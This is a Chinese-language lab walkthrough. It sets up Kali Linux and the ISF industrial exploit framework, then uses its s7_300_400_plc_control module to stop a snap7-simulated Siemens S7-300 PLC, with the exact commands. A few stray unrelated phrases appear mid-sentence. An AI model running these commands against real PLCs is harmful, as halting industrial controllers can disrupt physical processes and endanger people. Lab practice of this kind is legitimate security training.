S7-300启停

目录

1.安装Vmware workstaion和Kali linux等软件，配置虚拟环境

2.kali中安装工控漏洞利用框架 ISF

3.使用snap7模拟PLC设备,解压压缩包，打开 \rich-demos\x86_64-win64\bin路径

4.打开ISF后，输入：

use exploits/plcs/siemens/s7_300_400_plc_control

5.show options;

6.set target 物理机IP

7.run，这里显示 stop plc 

8.查看模拟器中的输出,可以发现已经停止stop→ok

---

1.安装Vmware workstaion和Kali linux等软件，配置虚拟环境

（1）下载虚拟机软件

      首先，我们需要下载一个虚拟机软件，比如VMware Workstation或者VirtualBox。这些软件都可以在官方网站上免费下载到最新版本。

（2）下载kali linux镜像文件

      在安装kali linux之前，我们需要下载kali linux的镜像文件。可以在官方网站上找到最新版本的kali linux，并选择合适的版本进行下载。

（3）创建一个新的虚拟机

       打开虚拟机软件后，点击“创建新的虚拟机”按钮。然后按照向导提示进行操作：选择“自定义(高级)”选项，指定kali linux镜像文件的路径，设置虚拟机名称和存储路径等。

（4）分配虚拟机资源

       在这一步，我们需要为虚拟机分配资源，比如内存、处理器数量和硬盘空间等。根据自己的需求和计算机性能进行合理的资源分配。

（5）安装kali linux

       虚拟机安装kali linux，我们可以启动虚拟机并开始安装kali linux了。按照向导提示，选择语言、时区和键盘布局等设置。然后，指定用户名和密码，并选择安装模式（图形化或文本模式）。

（6）更新系统

       安装完成后redhat linux 9.0下载，我们需要更新系统以获取最新的软件包和安全补丁。打开终端，运行以下命令：

bash

sudo apt update

sudo apt upgrade

（7）安装必要的软件

        kali linux提供了许多用于网络安全和渗透测试的工具，但并不是所有工具都默认安装，根据需要进行安装。

bash

sudo apt install kali-linux-default

（8）配置网络连接

       最后一步是配置虚拟机的网络连接方式。可以选择桥接模式、NAT模式或者仅主机模式linux ftp，具体选择哪种方式取决于你的网络环境和需求。

       通过以上8个步骤，我们就成功地在虚拟机中安装了kali linux。作为一款功能强大的操作系统虚拟机安装kali linux，kali linux为安全研究人员和网络管理员提供了丰富的工具和资源。

---

2.kali中安装工控漏洞利用框架 ISF

（1）在kali终端中使用命令：git clone https://github.com/dark-lbp/isf/

git clone https://github.com/dark-lbp/isf/

（2）输入cd isf

cd isf

（3）输入python2 isf.py

python2 isf.py

（4）这时有可能会报错：缺少nmap模块，方法：

       A.克隆下载nmap模块的包

  git clone https://github.com/johanlundberg/python-nmap

git clone https://github.com/johanlundberg/python-nmap

B.进入python-nmap文件夹：cd python-nmap

使用命令：python2 setup.py install

cd python-nmap

python2 setup.py install

C.进入python2中import nmap发现没有报错了,使用exit()退出

python2

import nmap

exit()

D.回到上一级文件夹，继续执行 python2 isf.py命令进行安装

python2 isf.py

---

3.使用snap7模拟PLC设备,解压压缩包，打开 \rich-demos\x86_64-win64\bin路径

（1）用ipconfig查看本机ip，也即物理机IP，填写到serverdemo.exe中

（2）在serverdemo.exe界面先点击start启动server

（3）可以查看到serverdemo.exe下面日志就显示server started

（4）clientdemo.exe界面上填写上物理机ip

（5）clientdemo.exe界面上点击connect连接

（6）这时继续查看server的日志，显示client已经added（serverdemo.exe）

---

4.打开ISF后，输入：

use exploits/plcs/siemens/s7_300_400_plc_control

use exploits/plcs/siemens/s7_300_400_plc_control

---

5.show options;

show options

---

6.set target 物理机IP

set target 192.168.56.1

---

7.run，这里显示 stop plc 

---

8.查看模拟器中的输出,可以发现已经停止stop→ok